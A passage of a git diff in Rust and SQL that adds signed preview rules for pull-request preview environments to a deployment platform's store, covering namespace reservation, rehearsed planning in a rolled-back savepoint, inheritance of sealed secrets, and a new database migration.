+        => crate::preview_rule::approve(tx, who, trusted, c);
+    /// What a Device signs a preview rule over: a rehearsed preview's settings. It writes
+    /// nothing.
+    PlanPreviewRule(crate::PlanPreviewRule) -> PreviewRule(crate::PreviewRuleView) as *
+        needs ChangesDeploy
+        agent none "Only a person's Device signs a preview rule."
+        => crate::preview_rule::plan(tx, who, trusted, c);
     /// Deploy a pull request's head that needed a member's approval.
     ApprovePullRequest(crate::ApprovePullRequest) -> Automated(crate::Automated)
         needs ChangesDeploy
@@ -702,6 +713,7 @@ impl Written {
             Self::HistoryStaged(staged) => Some(&staged.environment.id),
             Self::Deployment(deployment) => Some(&deployment.environment_id),
             Self::Rule(rule) => Some(&rule.environment.id),
+            Self::PreviewRule(rule) => Some(&rule.environment.id),
             Self::Domain(staged) => Some(&staged.environment.id),
             Self::DomainAdded(added) => Some(&added.written.environment.id),
             Self::Taken(taken) => Some(&taken.into.id),
@@ -779,6 +791,8 @@ pub enum Written {
     Automated(crate::Automated),
     /// An Environment's automatic deploy rule was kept.
     Rule(Box<crate::RuleView>),
+    /// An Environment's preview rule, kept or planned.
+    PreviewRule(Box<crate::PreviewRuleView>),
     /// A Branch was made, given an Own Copy, or kept.
     Branch(crate::Branched),
     /// The Build Order was set; it applies to the next build.
diff --git a/core/crates/ployz-store/src/deployment/lowering.rs b/core/crates/ployz-store/src/deployment/lowering.rs
index 075e691f41..0dd1652e48 100644
--- a/core/crates/ployz-store/src/deployment/lowering.rs
+++ b/core/crates/ployz-store/src/deployment/lowering.rs
@@ -614,12 +614,14 @@ pub(crate) struct Lowered {
 
 /// `saved` compiled, and its variables and Config files resolved as [`lower`]
 /// resolves them. The compiled producers are `saved`'s own: live values order
-/// nothing, since what provides them runs elsewhere.
+/// nothing, since what provides them runs elsewhere. A value sealed for `inherit`
+/// reaches its Service naming that Environment, as a preview inherits its parent's.
 fn resolve(
     environment: &EnvironmentId,
     saved: &SavedEnvironmentIntent,
     cluster_domain: Option<&Hostname>,
     branch: &crate::branch::Lowering,
+    inherit: Option<uuid::Uuid>,
 ) -> Result<
     (
         ployz_core::config::CompiledEnvironmentIntent,
@@ -635,7 +637,7 @@ fn resolve(
     compiled
         .variable_producers
         .extend(branch.live.iter().cloned());
-    let resolved = variables::resolve(&compiled, environment.as_str())?;
+    let resolved = variables::resolve(&compiled, environment.as_str(), inherit)?;
     compiled.variable_producers.truncate(own);
     Ok((compiled, resolved))
 }
@@ -655,7 +657,14 @@ pub(super) fn lower(
     branch: &crate::branch::Lowering,
     organization: &OrganizationId,
 ) -> Result<Lowered, RpcError> {
-    let (compiled, mut resolved) = resolve(environment, saved, cluster_domain, branch)?;
+    // A preview opens its parent's values under the parent's identity; a Machine admits
+    // each only for a key the preview rule lets that Service inherit.
+    let inherit = branch
+        .parent
+        .as_ref()
+        .filter(|_| ployz_core::authority::preview::is_preview_namespace(&namespace))
+        .and_then(|parent| uuid::Uuid::parse_str(parent.as_str()).ok());
+    let (compiled, mut resolved) = resolve(environment, saved, cluster_domain, branch, inherit)?;
     let (narrowed, services, removals, prune): (bool, &[ServiceName], _, _) = match ships {
         Ships::All { removals, prune } => (
             false,
@@ -903,6 +912,9 @@ pub(super) fn lower(
                 volume_resource_id: volume.resource_id.clone(),
                 storage: volume.storage,
                 deployed: deployed.contains(&volume.resource_id),
+                named_for: crate::removal::named_for(&namespace, volume)
+                    .filter(|named| *named != volume.resource_id)
+                    .map(str::to_owned),
             })
             .collect(),
         lineages: lineages.clone(),
diff --git a/core/crates/ployz-store/src/deployment/mod.rs b/core/crates/ployz-store/src/deployment/mod.rs
index 0f6ea09e88..b7374ff6fd 100644
--- a/core/crates/ployz-store/src/deployment/mod.rs
+++ b/core/crates/ployz-store/src/deployment/mod.rs
@@ -1540,6 +1540,37 @@ pub(crate) fn cluster_domain(
     .transpose()
 }
 
+/// Fix `namespace`, a preview's derived one, as Environment `id`'s. Refused when another
+/// Environment holds it: a preview of that branch is open already.
+pub(crate) fn reserve_namespace(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    id: &EnvironmentId,
+    namespace: &Namespace,
+) -> Result<(), RpcError> {
+    let taken = tx.query(
+        "SELECT environment_id FROM config_namespace \
+         WHERE organization_id = ?1 AND namespace = ?2",
+        &[who.organization.as_str().into(), namespace.as_str().into()],
+    )?;
+    if !taken.is_empty() {
+        return Err(error::conflict(
+            "A preview of this branch is open already",
+            json!({ "namespace": namespace }),
+        ));
+    }
+    tx.execute(
+        "INSERT INTO config_namespace (organization_id, namespace, environment_id) \
+         VALUES (?1, ?2, ?3)",
+        &[
+            who.organization.as_str().into(),
+            namespace.as_str().into(),
+            id.as_str().into(),
+        ],
+    )?;
+    Ok(())
+}
+
 /// The Namespace `environment` deploys into: fixed at its first admission, so renames
 /// never move it. `{project}-{environment}` unless another Environment of the
 /// Organization holds that, then suffixed with this Environment's ID. `reserve`
@@ -1578,7 +1609,11 @@ pub(crate) fn namespace(
                 &[who.organization.as_str().into(), namespace.as_str().into()],
             )?
             .is_empty();
-        if namespace.is_reserved() || taken {
+        // A preview's Namespace is only ever one its rule derives.
+        if namespace.is_reserved()
+            || ployz_core::authority::preview::is_preview_namespace(&namespace)
+            || taken
+        {
             continue;
         }
         if reserve {
diff --git a/core/crates/ployz-store/src/deployment/query.rs b/core/crates/ployz-store/src/deployment/query.rs
index c5e26d29c1..cd6ea2ace9 100644
--- a/core/crates/ployz-store/src/deployment/query.rs
+++ b/core/crates/ployz-store/src/deployment/query.rs
@@ -304,11 +304,37 @@ pub(crate) fn saved_target(
     trusted: &crate::Trusted,
     (environment, target): (&scope::Environment, &SavedEnvironmentIntent),
     services: &[ServiceName],
+) -> Result<Vec<RequestedServiceSpec>, RpcError> {
+    saved_target_setup(tx, who, trusted, (environment, target), services, true)
+}
+
+/// Every Service of `target` lowered as [`saved_target`] lowers it, with a Branch's
+/// Setup Commands only when `setup`: a preview rule approves both forms.
+pub(crate) fn saved_target_with(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    trusted: &crate::Trusted,
+    (environment, target): (&scope::Environment, &SavedEnvironmentIntent),
+    setup: bool,
+) -> Result<Vec<RequestedServiceSpec>, RpcError> {
+    saved_target_setup(tx, who, trusted, (environment, target), &[], setup)
+}
+
+fn saved_target_setup(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    trusted: &crate::Trusted,
+    (environment, target): (&scope::Environment, &SavedEnvironmentIntent),
+    services: &[ServiceName],
+    setup: bool,
 ) -> Result<Vec<RequestedServiceSpec>, RpcError> {
     let id = &environment.summary.id;
     let mut saved = target.clone();
     crate::volume::size::held(tx, id, &mut saved.volumes)?;
-    let branch = crate::branch::lowering(tx, id, &saved)?;
+    let mut branch = crate::branch::lowering(tx, id, &saved)?;
+    if !setup {
+        branch.setup.clear();
+    }
     let deployed = deployment::deployed_volumes(tx, id, &saved)?;
     let removals = deployment::ServiceRemovals::default();
     let ships = match services.is_empty() {
diff --git a/core/crates/ployz-store/src/lib.rs b/core/crates/ployz-store/src/lib.rs
index cdf1962d41..b0c195c992 100644
--- a/core/crates/ployz-store/src/lib.rs
+++ b/core/crates/ployz-store/src/lib.rs
@@ -24,6 +24,7 @@ mod names;
 mod old_cli;
 mod permission;
 mod policy;
+mod preview_rule;
 mod project;
 mod pull_request;
 mod query;
@@ -93,6 +94,7 @@ pub use id::*;
 pub use permission::Permission;
 /// A Sync view row's id, as Sync, Take, Never sync and Hold name it.
 pub use ployz_core::config::RowId;
+pub use preview_rule::{ApprovePreviewRule, PlanPreviewRule, PreviewRuleView};
 pub use pull_request::{
     ApprovePullRequest, MergeRow, OnMerge, OnMergeCheck, OnMergeConclusion, OnMergeInto,
     OnMergeQuery, OpenPullRequest, PrEnvironment, PrPlan, PrPlansQuery, PrPlansView, PullRequest,
diff --git a/core/crates/ployz-store/src/preview_rule.rs b/core/crates/ployz-store/src/preview_rule.rs
new file mode 100644
index 0000000000..5a4074ac07
--- /dev/null
+++ b/core/crates/ployz-store/src/preview_rule.rs
@@ -0,0 +1,328 @@
+//! An Environment's preview rule: a Device's standing approval of previews of it. Each
+//! preview of a pull request runs in a Namespace every Server derives from the rule and
+//! the pull request's branch, with settings the rule approves once those derived names
+//! are put back. Cloud keeps the signed rule and relays it with each preview's
+//! Deployment; every Server checks it, so nothing here admits a deploy.
+//!
+//! What a Device signs comes from a rehearsal: the Store opens a PR Environment for a
+//! sample pull request exactly as a real one opens, lowers it, and undoes every write.
+
+use std::collections::{BTreeMap, BTreeSet};
+
+use ployz_core::authority::preview::{PreviewKey, preview_namespace};
+use ployz_core::authority::{PreviewRule, RuleId, Signed};
+use ployz_core::config::Generator;
+use ployz_core::{Namespace, RequestedServiceSpec, RpcError, ServiceName};
+use serde::{Deserialize, Serialize};
+use serde_json::json;
+use ts_rs::TS;
+
+use crate::auto_rule::RuleSourceView;
+use crate::storage::Tx;
+use crate::{Actor, EnvironmentId, EnvironmentRef, EnvironmentSummary, Trusted, error, scope};
+
+/// Keep the preview rule a Device signed for an Environment. Cloud checks only that it
+/// fits the Environment; the Servers check the signature.
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct ApprovePreviewRule {
+    #[serde(default)]
+    pub environment: EnvironmentRef,
+    #[ts(as = "Signed<PreviewRule>")]
+    pub rule: Box<Signed<PreviewRule>>,
+}
+
+/// What a Device signs a preview rule of an Environment over, for pull requests of one
+/// repository: the Store rehearses opening one and reads back its settings.
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, TS)]
+#[serde(deny_unknown_fields)]
+pub struct PlanPreviewRule {
+    #[serde(default)]
+    pub environment: EnvironmentRef,
+    #[ts(type = "number")]
+    pub repository_id: u64,
+    /// The rule's ID: the kept rule's, or a new one the approving client chose.
+    pub rule: RuleId,
+}
+
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, TS)]
+pub struct PreviewRuleView {
+    /// The Environment previews start from.
+    pub environment: EnvironmentSummary,
+    /// Its Namespace.
+    pub namespace: Namespace,
+    /// The rule a Device last signed, ended or not.
+    pub rule: Option<Signed<PreviewRule>>,
+    /// Each Saved Service of the Environment that builds from a GitHub repository.
+    pub sources: Vec<RuleSourceView>,
+    /// The Namespace the rehearsed preview ran in.
+    pub sample: Namespace,
+    /// The Cluster Domain its generated domains are under.
+    pub domain: Option<String>,
+    /// The rehearsed preview lowered as a later Deployment of it would be.
+    pub target: Vec<RequestedServiceSpec>,
+    /// The same, as its first Deployment lowers it, with its Setup Commands: only the
+    /// Services that have some.
+    pub setup: Vec<RequestedServiceSpec>,
+    /// Each Service's Generated Values, by key.
+    pub generated: BTreeMap<ServiceName, BTreeMap<String, Generator>>,
+    /// Each Service's Sealed values a preview opens from the parent, by key.
+    pub inherited: BTreeMap<ServiceName, BTreeSet<String>>,
+    /// Volumes a preview mounts from the parent rather than a copy of its own, by the
+    /// Services that mount them.
+    pub shared: BTreeMap<ServiceName, BTreeSet<String>>,
+    /// The GitHub accounts of the Organization's members, as Cloud linked them.
+    #[ts(type = "number[]")]
+    pub members: Vec<u64>,
+}
+
+/// The preview rule an Environment holds, ended or not.
+pub(crate) fn stored(
+    tx: &mut dyn Tx,
+    environment: &EnvironmentId,
+) -> Result<Option<Signed<PreviewRule>>, RpcError> {
+    let rows = tx.query(
+        "SELECT rule FROM config_preview_rule WHERE environment_id = ?1",
+        &[environment.as_str().into()],
+    )?;
+    rows.first()
+        .map(|row| serde_json::from_str(row.text(0)?).map_err(|_| error::corrupt("Preview rule")))
+        .transpose()
+}
+
+/// The live preview rule an Environment holds for pull requests of `repository_id`.
+pub(crate) fn live(
+    tx: &mut dyn Tx,
+    environment: &EnvironmentId,
+    repository_id: u64,
+) -> Result<Option<PreviewRule>, RpcError> {
+    Ok(stored(tx, environment)?
+        .and_then(|signed| signed.open().ok())
+        .filter(|rule| !rule.ended && rule.source.repository_id == repository_id))
+}
+
+/// Keep `c.rule` as its Environment's preview rule. A rule for another Environment, or
+/// one that doesn't supersede the one kept, is refused: every Server would refuse it.
+pub(crate) fn approve(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    trusted: &Trusted,
+    c: &ApprovePreviewRule,
+) -> Result<PreviewRuleView, RpcError> {
+    let environment = scope::lock(tx, who, &c.environment)?;
+    let id = environment.summary.id.clone();
+    let rule = c
+        .rule
+        .open()
+        .map_err(|_| error::invalid("The rule isn't a signed preview rule", json!({})))?;
+    let namespace = crate::deployment::namespace(tx, who, &environment.summary, true)?;
+    if rule.parent != namespace || rule.parent_id.to_string() != id.as_str() {
+        return Err(error::invalid(
+            "The preview rule is for another environment",
+            json!({ "namespace": namespace }),
+        ));
+    }
+    if let Some(kept) = stored(tx, &id)?.and_then(|kept| kept.open().ok())
+        && kept.rule == rule.rule
+        && kept.generation >= rule.generation
+    {
+        return Err(error::conflict(
+            "A newer approval of this preview rule is already kept. Approve it again.",
+            json!({ "generation": kept.generation }),
+        ));
+    }
+    let text = serde_json::to_string(&*c.rule).map_err(|_| error::corrupt("Preview rule"))?;
+    let generation = i64::try_from(rule.generation)
+        .map_err(|_| error::invalid("The rule's generation is too large", json!({})))?;
+    tx.execute(
+        "DELETE FROM config_preview_rule WHERE environment_id = ?1",
+        &[id.as_str().into()],
+    )?;
+    tx.execute(
+        "INSERT INTO config_preview_rule (environment_id, rule, generation, ended) \
+         VALUES (?1, ?2, ?3, ?4)",
+        &[
+            id.as_str().into(),
+            text.as_str().into(),
+            generation.into(),
+            i64::from(rule.ended).into(),
+        ],
+    )?;
+    tracing::info!(
+        environment = %id,
+        rule = %rule.rule,
+        generation = rule.generation,
+        ended = rule.ended,
+        "kept a preview rule"
+    );
+    plan(
+        tx,
+        who,
+        trusted,
+        &PlanPreviewRule {
+            environment: c.environment.clone(),
+            repository_id: rule.source.repository_id,
+            rule: rule.rule,
+        },
+    )
+}
+
+/// The sample pull request a plan rehearses: from the repository itself, on a branch
+/// no person names.
+fn sample(repository_id: u64) -> Result<crate::PullRequest, RpcError> {
+    let repository = crate::RepositoryId::parse(repository_id)?;
+    Ok(crate::PullRequest {
+        repository_id: repository,
+        number: crate::PullRequestNumber::parse(1)?,
+        title: "Preview rule sample".to_owned(),
+        author: "ployz".to_owned(),
+        author_id: None,
+        bot: false,
+        head_branch: crate::BranchName::parse(SAMPLE_BRANCH)?,
+        head_repository_id: Some(repository),
+        head: crate::CommitSha::parse("0".repeat(40))?,
+        target_branch: crate::BranchName::parse("main")?,
+        commits: 1,
+        open: true,
+        merge_commit: None,
+        target_head: None,
+        updated: crate::GithubTimestamp::parse("2026-01-01T00:00:00Z")?,
+    })
+}
+
+/// The sample pull request's branch.
+const SAMPLE_BRANCH: &str = "ployz-preview-sample";
+
+/// The sample preview's key, whose Namespace a plan derives.
+pub(crate) fn sample_key() -> PreviewKey {
+    PreviewKey::Branch(SAMPLE_BRANCH.to_owned())
+}
+
+/// What signing `c.rule` next takes: the rehearsed preview's settings, and the rule
+/// kept now.
+pub(crate) fn plan(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    trusted: &Trusted,
+    c: &PlanPreviewRule,
+) -> Result<PreviewRuleView, RpcError> {
+    let parent = scope::environment(tx, who, &c.environment)?;
+    let namespace = crate::deployment::namespace(tx, who, &parent.summary, false)?;
+    let rule = stored(tx, &parent.summary.id)?;
+    let saved = crate::review::latest_saved(tx, &parent.summary.id)?;
+    let sources = saved
+        .as_ref()
+        .map(|saved| crate::auto_rule::sources(&saved.intent))
+        .unwrap_or_default();
+    let event = sample(c.repository_id)?;
+    let sample = preview_namespace(c.rule, &sample_key());
+    let rehearsed = crate::storage::rehearse(tx, |tx| {
+        let Some(opened) =
+            crate::pull_request::rehearse(tx, who, &parent, (&event, trusted), c.rule)?
+        else {
+            return Err(error::invalid(
+                "No Service of this environment deploys from that repository",
+                json!({}),
+            ));
+        };
+        let later = crate::deployment::query::saved_target_with(
+            tx,
+            who,
+            trusted,
+            (&opened, &opened.working),
+            false,
+        )?;
+        let first = crate::deployment::query::saved_target_with(
+            tx,
+            who,
+            trusted,
+            (&opened, &opened.working),
+            true,
+        )?;
+        Ok((opened.working, later, first))
+    })?;
+    let (working, target, first) = rehearsed;
+    let setup = first
+        .into_iter()
+        .filter(|spec| !target.contains(spec))
+        .collect();
+    let generated = working
+        .services
+        .iter()
+        .filter_map(|service| {
+            let name = ServiceName::parse(service.slug.as_str()).ok()?;
+            let generated: BTreeMap<String, Generator> = service
+                .variables
+                .iter()
+                .filter_map(|variable| Some((variable.key.clone(), variable.generator()?.clone())))
+                .collect();
+            (!generated.is_empty()).then_some((name, generated))
+        })
+        .collect();
+    let inherited = target
+        .iter()
+        .filter_map(|spec| {
+            let keys: BTreeSet<String> = spec
+                .container
+                .environment
+                .values()
+                .chain(
+                    spec.pre_deploy
+                        .iter()
+                        .flat_map(|hook| hook.environment.values()),
+                )
+                .flat_map(ployz_core::EnvValue::sealed_parts)
+                .filter(|value| value.environment.is_some())
+                .map(|value| value.key.clone())
+                .collect();
+            (!keys.is_empty()).then(|| (spec.name.clone(), keys))
+        })
+        .collect();
+    let shared = shared_mounts(&target);
+    Ok(PreviewRuleView {
+        environment: parent.summary.clone(),
+        namespace,
+        rule,
+        sources,
+        sample,
+        domain: trusted
+            .domains
+            .cluster_domain
+            .as_ref()
+            .map(|cluster| cluster.name.to_string()),
+        target,
+        setup,
+        generated,
+        inherited,
+        shared,
+        members: trusted
+            .members
+            .iter()
+            .flatten()
+            .map(|member| member.get())
+            .collect(),
+    })
+}
+
+/// The Docker Volumes each Service of `target` mounts from outside its own preview:
+/// data a preview shares with the Environment it starts from.
+fn shared_mounts(target: &[RequestedServiceSpec]) -> BTreeMap<ServiceName, BTreeSet<String>> {
+    target
+        .iter()
+        .filter_map(|spec| {
+            let shared: BTreeSet<String> = spec
+                .mount_graph
+                .volume_graph()
+                .mounted_volumes()
+                .filter_map(|volume| match volume.source.kind() {
+                    ployz_core::RawVolumeSource::External { name } => Some(name.to_string()),
+                    ployz_core::RawVolumeSource::Bind { .. }
+                    | ployz_core::RawVolumeSource::Ordinary { .. }
+                    | ployz_core::RawVolumeSource::Provisioned { .. }
+                    | ployz_core::RawVolumeSource::Tmpfs { .. } => None,
+                })
+                .collect();
+            (!shared.is_empty()).then(|| (spec.name.clone(), shared))
+        })
+        .collect()
+}
diff --git a/core/crates/ployz-store/src/pull_request/mod.rs b/core/crates/ployz-store/src/pull_request/mod.rs
index c2bca3a09f..6e11ed3426 100644
--- a/core/crates/ployz-store/src/pull_request/mod.rs
+++ b/core/crates/ployz-store/src/pull_request/mod.rs
@@ -1325,8 +1325,95 @@ fn create(
     plan: &Stored,
     (event, trusted): (&PullRequest, &Trusted),
 ) -> Result<Option<AutoDeployed>, RpcError> {
+    let preview = crate::preview_rule::live(tx, &start.summary.id, event.repository_id.get())?
+        .map(|rule| rule.rule);
+    let Some(made) = make(tx, who, start, plan, (event, trusted), preview)? else {
+        return Ok(None);
+    };
+    let Made {
+        environment,
+        saved,
+        cluster_domain,
+    } = made;
+    let pins = environment
+        .working
+        .services
+        .iter()
+        .filter(|service| ours(event, &service.config.source))
+        .map(|service| (service.config.private_dns.clone(), event.head.clone()))
+        .collect();
+    let push = crate::deployment::GitPush {
+        repository_id: event.repository_id,
+        branch: event.head_branch.clone(),
+        head: event.head.clone(),
+    };
+    let deployment = crate::automation::auto_admit(
+        tx,
+        who,
+        (&environment, &saved),
+        (&[], &[]),
+        (cluster_domain.as_ref(), &pins),
+        crate::deployment::Admission::New {
+            id: &crate::id::DeploymentId::parse(uuid::Uuid::new_v4().to_string())?,
+            push: Some(&push),
+        },
+        trusted,
+    )?;
+    Ok(Some(AutoDeployed {
+        environment: environment.summary.id.clone(),
+        deployment,
+    }))
+}
+
+/// Whether `source` builds from the pull request's repository.
+fn ours(event: &PullRequest, source: &ServiceSource) -> bool {
+    matches!(source, ServiceSource::Git { repository_id, .. } if *repository_id == event.repository_id.get())
+}
+
+/// A PR Environment [`make`] opened and saved, with the Cluster Domain its generated
+/// domains expand under.
+struct Made {
+    environment: Environment,
+    saved: review::Saved,
+    cluster_domain: Option<crate::Hostname>,
+}
+
+/// Open a PR Environment from `parent` for the sample pull request `event`, as a preview
+/// of rule `rule` would open, for the caller to lower and then undo: what a Device
+/// signs a preview rule over. None when no Service of `parent` deploys from the
+/// repository.
+pub(crate) fn rehearse(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    parent: &Environment,
+    (event, trusted): (&PullRequest, &Trusted),
+    rule: ployz_core::authority::RuleId,
+) -> Result<Option<Environment>, RpcError> {
+    let rows = tx.query(
+        "SELECT project_id FROM config_environment WHERE id = ?1",
+        &[parent.summary.id.as_str().into()],
+    )?;
+    let project = rows
+        .first()
+        .ok_or_else(|| error::corrupt("Environment"))?
+        .parse::<crate::id::ProjectId>(0, "Project ID")?;
+    let plan = load(tx, &project, event.repository_id)?.unwrap_or_default();
+    Ok(make(tx, who, parent, &plan, (event, trusted), Some(rule))?.map(|made| made.environment))
+}
+
+/// Make the pull request's PR Environment from `start` and save its first revision,
+/// in the Namespace a preview of rule `preview` derives when there is one. None when no
+/// Service of `start` deploys from the repository.
+fn make(
+    tx: &mut dyn Tx,
+    who: &Actor,
+    start: &Environment,
+    plan: &Stored,
+    (event, trusted): (&PullRequest, &Trusted),
+    preview: Option<ployz_core::authority::RuleId>,
+) -> Result<Option<Made>, RpcError> {
     let working = &start.working;
-    let ours = |source: &ServiceSource| matches!(source, ServiceSource::Git { repository_id, .. } if *repository_id == event.repository_id.get());
+    let ours = |source: &ServiceSource| ours(event, source);
     let mut copy: Vec<NodeName> = working
         .services
         .iter()
@@ -1385,6 +1472,15 @@ fn create(
         trusted,
     )?;
     let mut environment = scope::lock_id(tx, who, &id)?;
+    if let Some(rule) = preview {
+        // Every Server derives a preview's Namespace from the rule and the branch, and
+        // its generated domains hold it.
+        let namespace =
+            ployz_core::authority::preview::preview_namespace(rule, &preview_key(event));
+        deployment::reserve_namespace(tx, who, &id, &namespace)?;
+        environment.working = preview_prefixes(environment.working, working, &namespace);
+        environment.working = inherit_sealed(environment.working, working);
+    }
     environment.working = derive(environment.working, event);
     scope::save_working(tx, &mut environment, trusted)?;
     // Copies keep their Deployment Policy, except that the repository's Services
@@ -1423,36 +1519,87 @@ fn create(
         (None, &[]),
     )?;
     let saved = review::latest_saved(tx, &id)?.ok_or_else(|| error::corrupt("Saved State"))?;
-    let pins = environment
-        .working
-        .services
-        .iter()
-        .filter(|service| ours(&service.config.source))
-        .map(|service| (service.config.private_dns.clone(), event.head.clone()))
-        .collect();
-    let push = crate::deployment::GitPush {
-        repository_id: event.repository_id,
-        branch: event.head_branch.clone(),
-        head: event.head.clone(),
-    };
-    let deployment = crate::automation::auto_admit(
-        tx,
-        who,
-        (&environment, &saved),
-        (&[], &[]),
-        (cluster_domain.as_ref(), &pins),
-        crate::deployment::Admission::New {
-            id: &crate::id::DeploymentId::parse(uuid::Uuid::new_v4().to_string())?,
-            push: Some(&push),
-        },
-        trusted,
-    )?;
-    Ok(Some(AutoDeployed {
-        environment: id,
-        deployment,
+    Ok(Some(Made {
+        environment,
+        saved,
+        cluster_domain,
     }))
 }
 
+/// Which preview `event` is: its branch for a pull request from the repository itself,
+/// its number for one from a fork.
+fn preview_key(event: &PullRequest) -> ployz_core::authority::PreviewKey {
+    if event.head_repository_id == Some(event.repository_id) {
+        ployz_core::authority::PreviewKey::Branch(event.head_branch.to_string())
+    } else {
+        ployz_core::authority::PreviewKey::Fork(event.number.get())
+    }
+}
+
+/// `intent` with each secret an Own Copy holds no value for taking the value `parent`
+/// sealed for itself: lowered in a preview's Namespace, a Server opens it under the
+/// parent's identity only for a key the preview rule lets that Service inherit.
+fn inherit_sealed(
+    mut intent: SavedEnvironmentIntent,
+    parent: &SavedEnvironmentIntent,
+) -> SavedEnvironmentIntent {
+    for service in &mut intent.services {
+        let Some(from) = parent
+            .services
+            .iter()
+            .find(|from| from.lineage_id == service.lineage_id)
+        else {
+            continue;
+        };
+        for variable in &mut service.variables {
+            if variable.value != ployz_core::config::VariableValue::NotSet {
+                continue;
+            }
+            if let Some(sealed) = from.variables.iter().find(|held| {
+                held.key == variable.key
+                    && matches!(
+                        held.value,
+                        ployz_core::config::VariableValue::Sealed {
+                            ciphertext: Some(ployz_core::config::SecretCiphertext::ClientSealed(_)),
+                            ..
+                        }
+                    )
+            }) {
+                variable.value = sealed.value.clone();
+            }
+        }
+    }
+    intent
+}
+
+/// `intent` with each generated domain's prefix taken from the Service's in `parent`,
+/// followed by the preview's `namespace`: one per preview, alike in every preview.
+fn preview_prefixes(
+    mut intent: SavedEnvironmentIntent,
+    parent: &SavedEnvironmentIntent,
+    namespace: &ployz_core::Namespace,
+) -> SavedEnvironmentIntent {
+    for service in &mut intent.services {
+        let Some(from) = parent
+            .services
+            .iter()
+            .find(|from| from.lineage_id == service.lineage_id)
+        else {
+            continue;
+        };
+        for (managed, from) in service
+            .config
+            .managed_hostnames
+            .iter_mut()
+            .zip(&from.config.managed_hostnames)
+        {
+            managed.prefix =
+                ployz_core::authority::preview::preview_prefix(&from.prefix, namespace);
+        }
+    }
+    intent
+}
+
 /// `pr-N`, or `pr-N-2`… when that is taken in the Project.
 fn free_name(
     tx: &mut dyn Tx,
diff --git a/core/crates/ployz-store/src/removal/mod.rs b/core/crates/ployz-store/src/removal/mod.rs
index 512f8498a7..196d36954a 100644
--- a/core/crates/ployz-store/src/removal/mod.rs
+++ b/core/crates/ployz-store/src/removal/mod.rs
@@ -27,7 +27,7 @@ pub(crate) use self::due::{ask_taking_off, due, shut_down};
 use self::mark::{Accepted, Closed, Mark, State};
 pub use self::review::{ConsentedQuery, ConsentedView, RemovedVolume, VolumeLoss, docker_volume};
 pub(crate) use self::review::{
-    consented, covered, held, removed, review, short_digest, still_removed,
+    consented, covered, held, named_for, removed, review, short_digest, still_removed,
 };
 use crate::deployment::{self, DeploymentStatus, DeploymentSummary};
 use crate::error;
diff --git a/core/crates/ployz-store/src/removal/review.rs b/core/crates/ployz-store/src/removal/review.rs
index f682b880b6..a06ddc4dcd 100644
--- a/core/crates/ployz-store/src/removal/review.rs
+++ b/core/crates/ployz-store/src/removal/review.rs
@@ -105,7 +105,10 @@ pub(crate) fn removed(
                     .map_err(|_| error::corrupt("Volume ID"))?,
                 name: VolumeName::parse(volume.name.as_str())
                     .map_err(|_| error::corrupt("Volume name"))?,
-                docker_volume: docker_volume(namespace, &volume.resource_id)?,
+                docker_volume: docker_volume(
+                    namespace,
+                    named_for(namespace, volume).unwrap_or(&volume.resource_id),
+                )?,
             })
         })
         .collect()
@@ -128,6 +131,17 @@ pub(crate) fn still_removed(
         .collect()
 }
 
+/// The ID a Volume's Docker Volume is named for in `namespace` when not its own: in a
+/// preview's derived Namespace, its lineage's, so an Own Copy takes its parent's name
+/// and every preview of a rule names its Volumes alike.
+pub(crate) fn named_for<'a>(
+    namespace: &Namespace,
+    volume: &'a ployz_core::config::SavedVolumeIntent,
+) -> Option<&'a str> {
+    ployz_core::authority::preview::is_preview_namespace(namespace)
+        .then_some(volume.resource_lineage_id.as_str())
+}
+
 /// The Docker Volume a Volume's data lives in: lowering names it `vol-{id}`, and
 /// the Servers scope that to the Namespace.
 ///
diff --git a/core/crates/ployz-store/src/storage/migrations/0043_preview_rule.sql b/core/crates/ployz-store/src/storage/migrations/0043_preview_rule.sql
new file mode 100644
index 0000000000..5b2b03c532
--- /dev/null
+++ b/core/crates/ployz-store/src/storage/migrations/0043_preview_rule.sql
@@ -0,0 +1,10 @@
+-- Each Environment's preview rule, as the JSON of the Signed<PreviewRule> a Device
+-- signed: a standing approval of previews of the Environment, each in a Namespace every
+-- Server derives. Cloud relays it with each preview's Deployment; every Server checks
+-- it. `generation` and `ended` copy the rule's own, for reading without opening it.
+CREATE TABLE config_preview_rule (
+    environment_id TEXT PRIMARY KEY,
+    rule TEXT NOT NULL,
+    generation BIGINT NOT NULL,
+    ended BIGINT NOT NULL
+);
diff --git a/core/crates/ployz-store/src/storage/mod.rs b/core/crates/ployz-store/src/storage/mod.rs
index 71eb9d65f0..bfebf3a897 100644
--- a/core/crates/ployz-store/src/storage/mod.rs
+++ b/core/crates/ployz-store/src/storage/mod.rs
@@ -306,6 +306,11 @@ const MIGRATIONS: &[(&str, Step)] = &[
         "0042_auto_deploy_rule",
         Step::Sql(include_str!("migrations/0042_auto_deploy_rule.sql")),
     ),
+    (
+        // Each Environment's preview rule, signed by a Device.
+        "0043_preview_rule",
+        Step::Sql(include_str!("migrations/0043_preview_rule.sql")),
+    ),
 ];
 
 enum Step {
@@ -450,6 +455,19 @@ fn newer_store(sqlite: &sqlite::Sqlite, failed: sqlite::Failed, verb: &str) -> R
     refused
 }
 
+/// Run `work` inside a savepoint and undo everything it wrote, whatever it returns: a
+/// rehearsal of writes whose only product is what `work` reads back.
+pub(crate) fn rehearse<T>(
+    tx: &mut dyn Tx,
+    work: impl FnOnce(&mut dyn Tx) -> Result<T, RpcError>,
+) -> Result<T, RpcError> {
+    tx.execute("SAVEPOINT rehearsal", &[])?;
+    let result = work(tx);
+    tx.execute("ROLLBACK TO SAVEPOINT rehearsal", &[])?;
+    tx.execute("RELEASE SAVEPOINT rehearsal", &[])?;
+    result
+}
+
 /// Run `work` inside a savepoint: when it fails, everything it wrote is undone and
 /// the rest of the transaction goes on. An attempt that may be skipped runs here, so
 /// skipping it leaves no rows behind.
diff --git a/core/crates/ployz-store/src/variables.rs b/core/crates/ployz-store/src/variables.rs
index 5cabcca98b..142d00d7f9 100644
--- a/core/crates/ployz-store/src/variables.rs
+++ b/core/crates/ployz-store/src/variables.rs
@@ -1102,7 +1102,8 @@ pub(crate) enum LegacyReader {
